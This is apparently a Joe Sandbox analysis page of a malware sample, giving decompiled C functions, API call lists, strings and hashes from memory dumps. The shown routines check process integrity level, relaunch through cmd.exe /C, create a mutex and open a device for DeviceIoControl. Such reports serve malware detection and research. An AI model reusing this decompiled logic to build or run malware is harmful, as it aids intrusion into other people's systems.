Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: Module$FileHandleInitializeLibraryLoadName
String ID:
API String ID: 1691763914-0
Opcode ID: 7a2ac303de4b0b2ba4ade585fa2e29916ceed782501468d31b7631315bf6b27d
Instruction ID: b20ac1345fbffd2ee6b09d0fcfa97f88ae309217d757d61775f2d603f36cc11d
Opcode Fuzzy Hash: 7a2ac303de4b0b2ba4ade585fa2e29916ceed782501468d31b7631315bf6b27d
Instruction Fuzzy Hash: 0BF0BE70608345D6C6047FB38E4672A76B8AF0030DF10407FFD02B62D2EA7E9A11559F

Uniqueness

Uniqueness Score: -1.00%

Function 00407D21 Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00407D21(void* __ebx, void* __ecx, intOrPtr* __edi, void* __esi) {
				void* _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				long _v20;
				char _v280;
				signed char _t19;
				intOrPtr* _t20;
				void* _t24;
				signed int _t25;
				void _t26;
				void* _t28;
				signed int _t30;
				signed int _t32;
				intOrPtr _t37;
				void* _t43;
				void* _t44;
				signed int _t48;
				signed int _t50;
				void* _t53;
				signed int _t54;
				void* _t55;
				void* _t58;

				_t58 = __esi;
				_t44 = __ecx;
				_t43 = __ebx;
				_v12 =  *[fs:0x30];
				_t19 = E00401B2C(_t44, GetCurrentProcess()); // executed
				_t45 = _t19 & 0x000000ff;
				 *0x46cfa0 = _t45;
				_t20 =  *((intOrPtr*)(_v12 + 0xa4));
				_v16 = _t20;
				if(_v16 == 5) {
					 *0x46c2f8 = E0040C33B(_t45, 1, 0x46c2fc);
					E0040895B(_t45,  &_v280,  &_v280); // executed
					_t24 = CreateFileA( &_v280, 0xc0000000, 3, 0, 3, 0x30000080, 0); // executed
					 *0x46d00c = _t24;
					if( *0x46d00c != 0xffffffff) {
						_t53 =  *0x46d00c; // 0x218
						_t25 = DeviceIoControl(_t53, 0x7405c, 0, 0, 0x46cb60, 8,  &_v20, 0); // executed
						__eflags = _t25;
						if(_t25 != 0) {
							_t26 =  *0x46cb60; // 0xe11d6000
							_t54 =  *0x46cb64; // 0x37
							 *0x46cb68 = E0040572B(_t26, 9, _t54);
							 *0x46cb6c = _t54;
							_t28 =  *0x46d00c; // 0x218
							E0040BDEA(_t28); // executed
							_t30 = L00401314(_t43, _t54, _t58, 0x46c550); // executed
							__eflags = _t30;
							if(_t30 != 0) {
								 *0x46cb70 = E0040D5C6();
								 *0x46cb74 = _t54;
								_t48 =  *0x46cb70; // 0x80
								__eflags = _t48 |  *0x46cb74;
								if(__eflags != 0) {
									L6:
									_t32 = E0040ACFC(__eflags); // executed
									__eflags = _t32;
									if(_t32 != 0) {
										_t55 =  *0x46d00c; // 0x218
										FindCloseChangeNotification(_t55); // executed
										return 1;
									}
									return 0;
								}
								__eflags =  *((intOrPtr*)(_v12 + 0xa4)) - 5;
								if(__eflags != 0) {
									return 0;
								}
								_t37 =  *0x46cb68; // 0x1bf08eb0
								_t50 =  *0x46cb6c; // 0x0
								asm("sbb ecx, 0x0");
								 *0x46cb70 = _t37 - 0x800;
								 *0x46cb74 = _t50;
								goto L6;
							}
							return 0;
						}
						return 0;
					}
					return 0;
				} else {
				}
				 *__edi =  *__edi + _t45;
				 *_t20 =  *_t20 + _t20;
			}

0x00407d21
0x00407d21
0x00407d21
0x00407d30
0x00407d3a
0x00407d42
0x00407d45
0x00407d4e
0x00407d54
0x00407d5b
0x0040656b
0x00403079
0x0040309a
0x004030a0
0x004030ac
0x00408823
0x0040882a
0x00408830
0x00408832
0x00409e38
0x00409e3d
0x00409e4a
0x00409e4f
0x00409e55
0x00409e5b
0x00409e68
0x00409e70
0x00409e72
0x0040bce3
0x0040bce8
0x0040bcee
0x0040bcf4
0x0040bcfa
0x00403d94
0x00403d94
0x00403d99
0x00403d9b
0x0040c213
0x0040c21a
0x00000000
0x0040c220
0x00000000
0x00403da1
0x0040bd03
0x0040bd0a
0x00000000
0x0040cbf2
0x0040bd10
0x0040bd1a
0x0040bd20
0x0040bd23
0x0040bd28
0x00000000
0x0040bd28
0x00000000
0x00409e78
0x00000000
0x00408838
0x00000000
0x00000000
0x00407d61
0x00402fcf
0x00402fd4

APIs

GetCurrentProcess.KERNEL32 ref: 00407D33

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: CurrentProcess
String ID:
API String ID: 2050909247-0
Opcode ID: 5469e9984ee0613fe67692c8399fce14f271ad5feb70d4257aac3e9e61b94720
Instruction ID: 2d0ccdd24a91546423dca3ee3cf720458c613a0087a6006a7f2d7a66fbfa4b10
Opcode Fuzzy Hash: 5469e9984ee0613fe67692c8399fce14f271ad5feb70d4257aac3e9e61b94720
Instruction Fuzzy Hash: 4CF065B4D00348EFC704EFA599896ADBBB4AB04701F10857AE85277395E2BC5644CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E52B Relevance: 13.8, APIs: 11, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E0040E52B(void* __ecx, void* __fp0) {
				signed int _v8;
				void* _t16;
				void* _t17;
				void* _t18;
				void* _t21;
				void* _t22;
				void* _t29;
				void* _t31;
				void* _t38;
				void* _t42;
				void* _t49;

				_t49 = __fp0;
				_push(__ecx);
				_v8 = 0;
				_t16 = LocalAlloc(0x40, 0x4000); // executed
				 *0x46c310 = _t16;
				_t17 = LocalAlloc(0x40, 0x4000); // executed
				 *0x46c314 = _t17;
				_t18 = LocalAlloc(0x40, 0x4000); // executed
				 *0x46c318 = _t18;
				 *0x46c31c = LocalAlloc(0x40, 0x1000);
				 *0x46c320 = LocalAlloc(0x40, 0x1000);
				_t21 = LocalAlloc(0x40, 0x8000); // executed
				 *0x46c324 = _t21;
				_t22 = LocalAlloc(0x40, 0x8004); // executed
				 *0x46c42c = _t22;
				 *0x46c430 = 0 +  *0x46c42c;
				 *0x46c434 = 0x8004 +  *0x46c42c;
				 *0x46c37c = LocalAlloc(0x40, 0x1f4);
				 *0x46c380 = LocalAlloc(0x40, 0xfc);
				 *0x46c41c = LocalAlloc(0x40, 0x400);
				_t29 = LocalAlloc(0x40, 0x10000); // executed
				 *0x46c388 = _t29;
				_t38 =  *0x46c388; // 0x9a8c30
				 *0x46c38c = _t38;
				_v8 = 0;
				while(_v8 < 6) {
					_t42 =  *0x46c388; // 0x9a8c30
					 *(0x46c390 + _v8 * 4) = _t42;
					_v8 = _v8 + 1;
				}
				_v8 = 0;
				while(_v8 < 6) {
					E0040DC86(0x46c3d4 + _v8 * 8, 0x300);
					_v8 = _v8 + 1;
				}
				E004022EF(0x46c404, _t49, 0x180000); // executed
				_t31 = E004022EF(0x46c40c, _t49, 0xc000); // executed
				return _t31;
			}

0x0040e52b
0x0040e52e
0x0040e52f
0x0040e53d
0x0040e543
0x0040e54f
0x0040e555
0x0040e561
0x0040e567
0x0040e579
0x0040e58b
0x0040e597
0x0040e59d
0x0040e5a9
0x0040e5af
0x0040e5c2
0x0040e5d9
0x0040e5eb
0x0040e5fd
0x0040e60f
0x0040e61b
0x0040e621
0x0040e626
0x0040e62c
0x0040e632
0x00403cee
0x00403cfb
0x00403d01
0x00405375
0x00405375
0x0040a952
0x0040df94
0x0040dfad
0x004069b3
0x004069b3
0x00404070
0x0040407f
0x00404087

APIs

LocalAlloc.KERNELBASE(00000040,00004000,004046B5,?,0040C145,004046B5,?,00401BD7), ref: 0040E53D
LocalAlloc.KERNELBASE(00000040,00004000,?,0040C145,004046B5,?,00401BD7), ref: 0040E54F
LocalAlloc.KERNELBASE(00000040,00004000,?,0040C145,004046B5,?,00401BD7), ref: 0040E561
LocalAlloc.KERNEL32(00000040,00001000,?,0040C145,004046B5,?,00401BD7), ref: 0040E573
LocalAlloc.KERNEL32(00000040,00001000,?,0040C145,004046B5,?,00401BD7), ref: 0040E585
LocalAlloc.KERNELBASE(00000040,00008000,?,0040C145,004046B5,?,00401BD7), ref: 0040E597
LocalAlloc.KERNELBASE(00000040,00008004,?,0040C145,004046B5,?,00401BD7), ref: 0040E5A9
LocalAlloc.KERNEL32(00000040,000001F4,?,0040C145,004046B5,?,00401BD7), ref: 0040E5E5
LocalAlloc.KERNEL32(00000040,000000FC,?,0040C145,004046B5,?,00401BD7), ref: 0040E5F7
LocalAlloc.KERNEL32(00000040,00000400,?,0040C145,004046B5,?,00401BD7), ref: 0040E609
LocalAlloc.KERNELBASE(00000040,00010000,?,0040C145,004046B5,?,00401BD7), ref: 0040E61B

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 65ac8032e033309efcc9f8c0d48804f40c42494c7e65b2be43682c95c20d6d53
Instruction ID: 884c2741ace77f4595bd006b1489b08cdeecc1dacb1c364e852769e485284a96
Opcode Fuzzy Hash: 65ac8032e033309efcc9f8c0d48804f40c42494c7e65b2be43682c95c20d6d53
Instruction Fuzzy Hash: 44213CB4A41300AFF354AF65AC56B743AA0F708B59F108035FB89A63E0F6F455858E5F

Uniqueness

Uniqueness Score: -1.00%

Function 024D003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 024D024D

Strings

cess, xrefs: 024D018D
kernel32.dll, xrefs: 024D008F, 024D0095

Memory Dump Source

Source File: 0000000B.00000002.491651603.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24d0000_B7BD.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 7dfa5eab87d3fbf2d6ffd66030db926483bb27c01592beaa7d02c73a9093e443
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 8C526A74A01229DFDB64CF58C994BADBBB1BF09304F1480DAE94DAB351DB30AA85CF14

Uniqueness

Uniqueness Score: -1.00%

Function 00405C4C Relevance: 12.1, APIs: 8, Instructions: 78
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E00405C4C() {
				void** _v8;
				void* _v12;
				long _v16;
				long _v20;
				int _v24;
				int _t31;

				_v24 = 0;
				_v12 = 0;
				_v16 = 0;
				_v8 = 0;
				_v20 = 0;
				while(OpenProcessToken(0xffffffff, 8,  &_v12) != 0) {
					GetTokenInformation(_v12, 0x19, 0, 0,  &_v16); // executed
					_push(_v16);
					_v8 = LocalAlloc(0, ??);
					_t31 = GetTokenInformation(_v12, 0x19, _v8, _v16,  &_v16); // executed
					if(_t31 != 0) {
						_v20 =  *(GetSidSubAuthority( *_v8, ( *(GetSidSubAuthorityCount( *_v8)) & 0x000000ff) - 0x00000001 & 0x000000ff));
						_v24 = _v20;
						if(0 != 0) {
							continue;
						}
						L3:
						if(_v12 != 0) {
							FindCloseChangeNotification(_v12); // executed
						}
						if(_v8 != 0) {
							LocalFree(_v8);
						}
						return _v24;
					}
					goto L3;
				}
				goto L3;
			}

APIs

FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
LocalFree.KERNEL32(00000000), ref: 00403BD3
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407A5F
LocalAlloc.KERNEL32(00000000,00000000), ref: 00407A6B
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407A86
OpenProcessToken.ADVAPI32(000000FF,00000008,00000000), ref: 00409C94

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: Token$InformationLocal$AllocChangeCloseFindFreeNotificationOpenProcess
String ID:
API String ID: 2854556994-0
Opcode ID: 2fabac034638274b2c3e67be2bc06953f5cdff95292f6c9f39c7e9c359d166b0
Instruction ID: 2e4b4cc31351ce880421fb230fd6ac05725b6f10eb8191371f756e524e2f733f
Opcode Fuzzy Hash: 2fabac034638274b2c3e67be2bc06953f5cdff95292f6c9f39c7e9c359d166b0
Instruction Fuzzy Hash: ED313CB4A04208FFDB14CFD4C948BAEBBF8AB48301F1081AAE511B72D4D774AB04DB65

Uniqueness

Uniqueness Score: -1.00%

Function 00404369 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E00404369(void* __ebx, void* __edi, void* __esi) {
				char _v528;
				char _v1052;
				short _v1576;
				void* _t14;
				void* _t16;
				void* _t24;

				GetModuleFileNameW(0,  &_v1576, 0x105);
				 *0x413084(0); // executed
				E00409543(_t24); // executed
				_t14 = E00405C4C(); // executed
				if(_t14 <= 0x2000) {
					if(E00405C4C() >= 0x2000) {
						_t16 = E00405D04(__ebx, __edi, __esi,  &_v1576, 0);
					} else {
						_t25 =  &_v528;
						E0040335C( &_v528,  &_v528, 0x20a);
						E00405312(L"%systemroot%\\system32\\cmd.exe",  &_v528, 0x104);
						E00408BFE(_t25,  &_v1052, L"/C ");
						E0040B160( &_v1052,  &_v1576);
						_t16 = E00405D04(__ebx, __edi, __esi,  &_v528,  &_v1052);
					}
					ExitProcess(0);
				} else {
					return 1;
				}
			}

0x00404380
0x00404388
0x0040438e
0x00404393
0x0040439d
0x004063dc
0x00402608
0x004063e2
0x004063e7
0x004063ee
0x00406407
0x0040641b
0x00406431
0x00406447
0x0040644c
0x0040a945
0x004043a3
0x00000000
0x004043a3

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105), ref: 00404380
CoInitialize.OLE32(00000000), ref: 00404388

Part of subcall function 00409543: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409574
Part of subcall function 00409543: NtAllocateVirtualMemory.NTDLL(000000FF,0046C2D0,00000000,00001000,00003000,00000004), ref: 004095E1
Part of subcall function 00409543: EnterCriticalSection.KERNEL32(DB51E8EC), ref: 00409610
Part of subcall function 00409543: RtlInitUnicodeString.NTDLL(00000180,00900000), ref: 00409626
Part of subcall function 00409543: RtlInitUnicodeString.NTDLL(00000178,00900000), ref: 0040963C
Part of subcall function 00409543: LeaveCriticalSection.KERNEL32(DB51E8EC), ref: 00409649
Part of subcall function 00409543: LdrEnumerateLoadedModules.NTDLL(00000000,004050A2,00404393), ref: 0040965A

Part of subcall function 00405C4C: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
Part of subcall function 00405C4C: LocalFree.KERNEL32(00000000), ref: 00403BD3
Part of subcall function 00405C4C: OpenProcessToken.ADVAPI32(000000FF,00000008,00000000), ref: 00409C94

ExitProcess.KERNEL32 ref: 0040A945

Strings

%systemroot%\system32\cmd.exe, xrefs: 00406402
/C , xrefs: 0040640F

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: CriticalInitProcessSectionStringUnicode$AllocateChangeCloseDirectoryEnterEnumerateExitFileFindFreeInitializeLeaveLoadedLocalMemoryModuleModulesNameNotificationOpenTokenVirtualWindows
String ID: %systemroot%\system32\cmd.exe$/C
API String ID: 41577365-3057154508
Opcode ID: a438ef9f5f25d9aebddb8c854ded96209a6b7bafee1d22157f4d592698697d9c
Instruction ID: 7b01f62542bec0b1d87828faea97dd6a3c55c304531570e4c9315d46f9a50642
Opcode Fuzzy Hash: a438ef9f5f25d9aebddb8c854ded96209a6b7bafee1d22157f4d592698697d9c
Instruction Fuzzy Hash: 9411ABB290430866D710BB60EC47FDE73299B54705F0045BBB709B50C2ED7997D88EAE

Uniqueness

Uniqueness Score: -1.00%

Function 00407AB9 Relevance: 6.1, APIs: 4, Instructions: 59
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E00407AB9(void* __eflags) {
				signed int _t62;
				signed int _t69;
				void* _t91;

				_push(ds);
				if(__eflags < 0) {
					while(1) {
						 *(_t91 - 4) = LocalAlloc(0, ??);
						_t62 = GetTokenInformation( *(_t91 - 8), 0x19,  *(_t91 - 4),  *(_t91 - 0xc), _t91 - 0xc); // executed
						__eflags = _t62;
						if(_t62 == 0) {
							break;
						}
						 *(_t91 - 0x10) =  *(GetSidSubAuthority( *( *(_t91 - 4)), ( *(GetSidSubAuthorityCount( *( *(_t91 - 4)))) & 0x000000ff) - 0x00000001 & 0x000000ff));
						 *(_t91 - 0x14) =  *(_t91 - 0x10);
						if(0 != 0) {
							_t69 = OpenProcessToken(0xffffffff, 8, _t91 - 8);
							__eflags = _t69;
							if(_t69 != 0) {
								GetTokenInformation( *(_t91 - 8), 0x19, 0, 0, _t91 - 0xc); // executed
								_push( *(_t91 - 0xc));
								continue;
							} else {
							}
						} else {
						}
						L3:
						if( *(_t91 - 8) != 0) {
							FindCloseChangeNotification( *(_t91 - 8)); // executed
						}
						if( *(_t91 - 4) != 0) {
							LocalFree( *(_t91 - 4));
						}
						return  *(_t91 - 0x14);
						goto L47;
					}
					goto L3;
				} else {
					_push(ss);
					while(1) {
						__eax =  *(__ebp - 0x10);
						 *(__ebp - 0x2c) =  *(__ebp - 0x10);
						 *(__ebp - 0x10) =  *(__ebp - 0x10) - 1;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) - 1;
						__eflags =  *(__ebp - 0x2c);
						if( *(__ebp - 0x2c) <= 0) {
							break;
						}
						__ecx = __ebp - 0x88;
						__eax = E004055B9(__ebp - 0x88);
						 *(__ebp - 5) = __al;
						__edx =  *(__ebp - 0x18);
						__al =  *(__ebp - 5);
						 *( *(__ebp - 0x18)) = __al;
						 *(__ebp - 0x18) =  *(__ebp - 0x18) + 1;
						 *(__ebp - 0x18) =  *(__ebp - 0x18) + 1;
						__edx =  *(__ebp - 5) & 0x000000ff;
						__eflags = ( *(__ebp - 5) & 0x000000ff) - 0x7f;
						if(( *(__ebp - 5) & 0x000000ff) > 0x7f) {
							 *(__ebp - 0x28) =  *(__ebp - 0x28) + 1;
							 *(__ebp - 0x28) =  *(__ebp - 0x28) + 1;
						}
					}
					__eflags =  *(__ebp - 0x28);
					if( *(__ebp - 0x28) != 0) {
						__ecx = 1;
						__edx = 0;
						__eax =  *0x46c42c; // 0x9a0510
						__ecx =  *__eax & 0x000000ff;
						__eflags = ( *__eax & 0x000000ff) - 0x4d;
						if(( *__eax & 0x000000ff) != 0x4d) {
							goto L9;
						} else {
							1 = 1 << 0;
							__eax =  *0x46c42c; // 0x9a0510
							__ecx =  *(__eax + (1 << 0)) & 0x000000ff;
							__eflags = ( *(__eax + (1 << 0)) & 0x000000ff) - 0x5a;
							if(( *(__eax + (1 << 0)) & 0x000000ff) != 0x5a) {
								goto L9;
							} else {
								__eflags =  *0x46c420 - 2;
								if( *0x46c420 == 2) {
									goto L9;
								} else {
									__eax = 0;
								}
							}
						}
					} else {
						__eflags =  *0x46c420 - 1;
						if( *0x46c420 == 1) {
							L9:
							__edx =  *(__ebp - 0x18);
							 *0x46c430 =  *(__ebp - 0x18);
							while(1) {
								__eax =  *(__ebp - 4);
								 *(__ebp - 0x30) =  *(__ebp - 4);
								__ecx =  *(__ebp - 4);
								__ecx =  *(__ebp - 4) - 1;
								 *(__ebp - 4) = __ecx;
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) <= 0) {
									break;
								}
								__ecx = __ebp - 0x88;
								E004055B9(__ebp - 0x88) = E0040B8C1(__eax);
								__edx =  *0x46c330; // 0xf050c
								__edx = __edx & 0x0003ffff;
								__eflags = __edx;
								if(__edx == 0) {
									__eflags =  *0x46c420 - 1;
									if( *0x46c420 == 1) {
										__eflags =  *0x46c330 - 0x480000;
										if( *0x46c330 != 0x480000) {
											L44:
											__eflags =  *0x46c330 - 0x100000;
											if( *0x46c330 != 0x100000) {
												L34:
												__eflags =  *0x463778 - 0xe;
												if( *0x463778 == 0xe) {
													goto L40;
												}
											} else {
												__eflags =  *0x463778 - 0xf;
												if( *0x463778 == 0xf) {
													goto L40;
												} else {
													goto L34;
												}
											}
										} else {
											__eflags =  *0x463778 - 0x10;
											if( *0x463778 == 0x10) {
												L40:
												__eax =  *0x463778; // 0xe
												 *0x463778 = __eax;
												 *(__ebp - 0x14) = 0;
												while(1) {
													__eflags =  *(__ebp - 0x14) - 0x2800;
													if( *(__ebp - 0x14) >= 0x2800) {
														goto L43;
													}
													__edx =  *(__ebp - 0x14);
													__eax =  *0x46c35c; // 0x9fb078
													__ecx =  *(__eax + __edx * 4);
													__ecx =  *(__eax + __edx * 4) << 1;
													__edx =  *(__ebp - 0x14);
													__eax =  *0x46c35c; // 0x9fb078
													 *(__eax +  *(__ebp - 0x14) * 4) = __ecx;
													 *(__ebp - 0x14) =  *(__ebp - 0x14) + 1;
													 *(__ebp - 0x14) =  *(__ebp - 0x14) + 1;
												}
											} else {
												goto L44;
											}
										}
									}
								}
								L43:
							}
							__eax = E0040C187(__ecx);
							__ecx = __ebp - 0x3c;
							__eax = E0040DCF9(__ebp - 0x3c);
							__ecx =  *(__ebp - 0x34);
							__eax = E0040CE09( *(__ebp - 0x34), __eax);
							__eflags = __eax -  *((intOrPtr*)(__ebp - 0xc));
							if(__eax ==  *((intOrPtr*)(__ebp - 0xc))) {
								__ecx = __ebp - 0x3c;
								__eax = E0040DCF9(__ebp - 0x3c);
								__edx =  *(__ebp + 0x10);
								 *( *(__ebp + 0x10)) = __eax;
								__eax =  *(__ebp - 0x34);
							} else {
								__eax = 0;
							}
						} else {
							__eax = 0;
						}
					}
					__esp = __ebp;
					_pop(__ebp);
					return __eax;
				}
				L47:
			}

APIs

FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
LocalFree.KERNEL32(00000000), ref: 00403BD3
LocalAlloc.KERNEL32(00000000,00000000), ref: 00407A6B
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407A86

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: Local$AllocChangeCloseFindFreeInformationNotificationToken
String ID:
API String ID: 2094194634-0
Opcode ID: dfd389ba0a6e21506ee3ce54b84a7e53c4fc79e48b909ed38b184a154f02c170
Instruction ID: 8c14f008afbfcab52b1f24e0be9b5b67c8a06fc3440972dff98bedf792b56cd5
Opcode Fuzzy Hash: dfd389ba0a6e21506ee3ce54b84a7e53c4fc79e48b909ed38b184a154f02c170
Instruction Fuzzy Hash: 2E215E74D04208EFCB04CFE4C959AEEBBB5AB08305F1480AAE505B7394C7746B40DF29

Uniqueness

Uniqueness Score: -1.00%

Function 00403AEE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00403AEE(void* __ecx) {
				struct _SECURITY_ATTRIBUTES* _v8;
				void* _t4;

				_t4 = CreateMutexW(0, 0, L"WTfewgNmxpcaVXHKTu"); // executed
				 *0x46c534 = _t4;
				if(GetLastError() == 0xb7) {
					_v8 = 0;
				} else {
					_v8 = 1;
				}
				return _v8;
			}

0x00403afb
0x00403b01
0x00403b11
0x00403e7a
0x00403b17
0x00403b17
0x00403b17
0x004021a0

APIs

CreateMutexW.KERNELBASE(00000000,00000000,WTfewgNmxpcaVXHKTu,?,?,004044C1,?,?,004046B5), ref: 00403AFB
GetLastError.KERNEL32(?,?,004044C1,?,?,004046B5), ref: 00403B06

Strings

WTfewgNmxpcaVXHKTu, xrefs: 00403AF2

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: CreateErrorLastMutex
String ID: WTfewgNmxpcaVXHKTu
API String ID: 1925916568-3869692174
Opcode ID: 502994abb643b6907aca016e4420326689993ac7df3b6146a4ea7ff5db15ab22
Instruction ID: a0a935667e3c440a3b0ad9d72cf5864bc57c65037e1d1e5c0e0eaa538b974b95
Opcode Fuzzy Hash: 502994abb643b6907aca016e4420326689993ac7df3b6146a4ea7ff5db15ab22
Instruction Fuzzy Hash: F7D017B040A304EAE3009F50DE4DB597EB4EB04703F208036E2026A2D4E3F85A45564A

Uniqueness

Uniqueness Score: -1.00%

Function 00403072 Relevance: 4.6, APIs: 3, Instructions: 81
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E00403072() {
				void* _t8;
				signed int _t9;
				void _t10;
				void* _t12;
				signed int _t14;
				signed int _t16;
				void* _t18;
				intOrPtr _t19;
				void* _t21;
				void* _t22;
				signed int _t25;
				signed int _t27;
				void* _t29;
				signed int _t30;
				void* _t31;
				void* _t33;
				void* _t34;

				E0040895B(_t22, _t34 - 0x114, _t34 - 0x114); // executed
				_t8 = CreateFileA(_t34 - 0x114, 0xc0000000, 3, 0, 3, 0x30000080, 0); // executed
				 *0x46d00c = _t8;
				if( *0x46d00c != 0xffffffff) {
					_t29 =  *0x46d00c; // 0x218
					_t9 = DeviceIoControl(_t29, 0x7405c, 0, 0, 0x46cb60, 8, _t34 - 0x10, 0); // executed
					__eflags = _t9;
					if(_t9 != 0) {
						_t10 =  *0x46cb60; // 0xe11d6000
						_t30 =  *0x46cb64; // 0x37
						 *0x46cb68 = E0040572B(_t10, 9, _t30);
						 *0x46cb6c = _t30;
						_t12 =  *0x46d00c; // 0x218
						E0040BDEA(_t12); // executed
						_t14 = L00401314(_t21, _t30, _t33, 0x46c550); // executed
						__eflags = _t14;
						if(_t14 != 0) {
							 *0x46cb70 = E0040D5C6();
							 *0x46cb74 = _t30;
							_t25 =  *0x46cb70; // 0x80
							__eflags = _t25 |  *0x46cb74;
							if(__eflags != 0) {
								L2:
								_t16 = E0040ACFC(__eflags); // executed
								__eflags = _t16;
								if(_t16 != 0) {
									_t31 =  *0x46d00c; // 0x218
									FindCloseChangeNotification(_t31); // executed
									_t18 = 1;
								} else {
									_t18 = 0;
								}
								L12:
								return _t18;
							}
							__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t34 - 8)) + 0xa4)) - 5;
							if(__eflags != 0) {
								_t18 = 0;
								goto L12;
							}
							_t19 =  *0x46cb68; // 0x1bf08eb0
							_t27 =  *0x46cb6c; // 0x0
							asm("sbb ecx, 0x0");
							 *0x46cb70 = _t19 - 0x800;
							 *0x46cb74 = _t27;
							goto L2;
						}
						_t18 = 0;
						goto L12;
					}
					_t18 = 0;
					goto L12;
				}
				_t18 = 0;
				goto L12;
			}

0x00403079
0x0040309a
0x004030a0
0x004030ac
0x00408823
0x0040882a
0x00408830
0x00408832
0x00409e38
0x00409e3d
0x00409e4a
0x00409e4f
0x00409e55
0x00409e5b
0x00409e68
0x00409e70
0x00409e72
0x0040bce3
0x0040bce8
0x0040bcee
0x0040bcf4
0x0040bcfa
0x00403d94
0x00403d94
0x00403d99
0x00403d9b
0x0040c213
0x0040c21a
0x0040c220
0x00403da1
0x00403da1
0x00403da1
0x0040c393
0x0040c396
0x0040c396
0x0040bd03
0x0040bd0a
0x0040cbf2
0x00000000
0x0040cbf2
